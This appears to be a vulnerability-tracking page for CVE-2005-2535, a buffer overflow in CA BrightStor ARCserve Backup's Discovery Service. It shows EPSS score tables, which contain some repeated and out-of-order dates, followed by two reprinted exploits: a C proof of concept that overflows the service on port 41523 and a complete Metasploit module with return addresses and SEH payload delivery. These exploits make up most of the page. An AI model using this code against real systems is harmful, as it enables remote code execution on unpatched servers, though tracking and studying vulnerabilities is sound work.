CVE-2005-2535 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	77.39%	–	–
2023-03-12	–	–	–	13.37%	–
2023-07-02	–	–	–	13.35%	–
2023-12-03	–	–	–	15.44%	–
2024-02-11	–	–	–	15.44%	–
2024-06-02	–	–	–	15.44%	–
2024-07-21	–	–	–	18.35%	–
2024-12-22	–	–	–	84.99%	–
2025-02-16	–	–	–	85.29%	–
2025-01-19	–	–	–	84.99%	–
2025-02-16	–	–	–	85.29%	–
2025-03-18	–	–	–	–	84.2%
2025-03-30	–	–	–	–	79.77%
2025-03-30	–	–	–	–	79.77,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	95%
2023-07-02	95%
2023-12-03	95%
2024-02-11	96%
2024-06-02	96%
2024-07-21	96%
2024-12-22	99%
2025-02-16	99%
2025-01-19	99%
2025-02-16	99%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

/* * BrightStor ARCserve Backup buffer overflow PoC * cybertronic@gmx.net * */ #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <netinet/in.h> #include <netdb.h> #define RED "\E[31m\E[1m" #define GREEN "\E[32m\E[1m" #define YELLOW "\E[33m\E[1m" #define BLUE "\E[34m\E[1m" #define NORMAL "\E[m" #define PORT 41523 void start ( int s ) { char buffer[4096]; bzero ( &buffer, 4096 ); memset ( buffer, 0x41, 50 ); buffer[0] = 0x9b; buffer[1] = 0x53; //S buffer[2] = 0x45; //E buffer[3] = 0x52; //R buffer[4] = 0x56; //V buffer[5] = 0x49; //I buffer[6] = 0x43; //C buffer[7] = 0x45; //E buffer[8] = 0x50; //P buffer[9] = 0x43; //C buffer[17] = 0x18; buffer[21] = 0xc0; buffer[22] = 0xa8; buffer[23] = 0x02; buffer[24] = 0x67; buffer[25] = 0x53; //S buffer[26] = 0x45; //E buffer[27] = 0x52; //R buffer[28] = 0x56; //V buffer[29] = 0x49; //I buffer[30] = 0x43; //C buffer[31] = 0x45; //E buffer[32] = 0x50; //P buffer[33] = 0x43; //C buffer[41] = 0x01; buffer[43] = 0x0c; buffer[44] = 0x6c; buffer[45] = 0x93; buffer[46] = 0xce; buffer[47] = 0x18; buffer[48] = 0x18; //ebp buffer[49] = 0xbe; buffer[50] = 0xba; buffer[51] = 0xad; buffer[52] = 0xde; //eip buffer[53] = 0xde; buffer[54] = 0xc0; buffer[55] = 0xad; buffer[56] = 0xde; printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer ) ); if ( write ( s, buffer, strlen ( buffer ) ) <= 0 ) { printf ( RED "Send failed!\n" NORMAL ); exit ( 1 ); } printf ( GREEN "OK!\n" NORMAL ); sleep ( 1 ); } int main ( int argc, char *argv[] ) { int s; struct hostent *he; struct sockaddr_in addr; if ( argc != 2 ) { fprintf ( stderr,"Usage: %s hostname\n", argv[0] ); exit ( 1 ); } printf ( "Resolving hostname..." ); if ( ( he = gethostbyname ( argv[1] ) ) == NULL ) { printf ( RED "FAILED!\n" NORMAL ); exit ( 1 ); } printf ( "OK!\n" ); if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) { exit ( 1 ); } addr.sin_family = AF_INET; addr.sin_port = htons ( PORT ); addr.sin_addr = *( ( struct in_addr * ) he->h_addr ); printf ( "Connecting to %s...", argv[1] ); if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct sockaddr ) ) == -1 ) { printf ( RED "FAILED!\n" NORMAL ); exit ( 1 ); } printf ( "OK!\n" ); start ( s ); close ( s ); return ( 0 ); } // milw0rm.com [2005-02-12]

## # $Id: discovery_tcp.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor Discovery Service TCP Overflow', 'Description' => %q{ This module exploits a vulnerability in the CA BrightStor Discovery Service. This vulnerability occurs when a specific type of request is sent to the TCP listener on port 41523. This vulnerability was discovered by cybertronic[at]gmx.net and affects all known versions of the BrightStor product. This module is based on the 'cabrightstor_disco' exploit by Thor Doomen. }, 'Author' => [ 'hdm', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2005-2535'], [ 'OSVDB', '13814'], [ 'BID', '12536'], [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'], [ 'URL', 'http://milw0rm.com/exploits/1131'], ], 'Privileged' => true, 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.0 { 'Platform' => 'win', 'Ret' => 0x23803b20, # pop/pop/ret 'Offset' => 1032, }, ], [ 'cheyprod.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x23805714, # pop/pop/ret 'Offset' => 1024, }, ], [ 'cheyprod.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x23805d10, # pop/pop/ret 'Offset' => 1024, }, ], ], 'DisclosureDate' => 'Feb 14 2005', 'DefaultTarget' => 1)) register_options( [ Opt::RPORT(41523) ], self.class) end def check # The first request should have no reply csock = Rex::Socket::Tcp.create( 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['RPORT'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self, }) csock.put('META') x = csock.get_once(-1, 3) csock.close # The second request should be replied with the host name csock = Rex::Socket::Tcp.create( 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['RPORT'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self, }) csock.put('hMETA') y = csock.get_once(-1, 3) csock.close if (y and not x) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect print_status("Trying target #{target.name}...") buf = rand_text_english(4096) # Overwriting the return address works well, but the only register # pointing back to our code is 'esp'. The following stub overwrites # the SEH frame instead, making things a bit easier. seh = generate_seh_payload(target.ret) buf[target['Offset'], seh.length] = seh # Make sure the return address is invalid to trigger SEH buf[ 900, 100] = (rand(127)+128).chr * 100 # SERVICEPC is the client host name actually =P (thanks Juliano!) req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41" req << buf sock.put(req) sock.get_once handler disconnect end end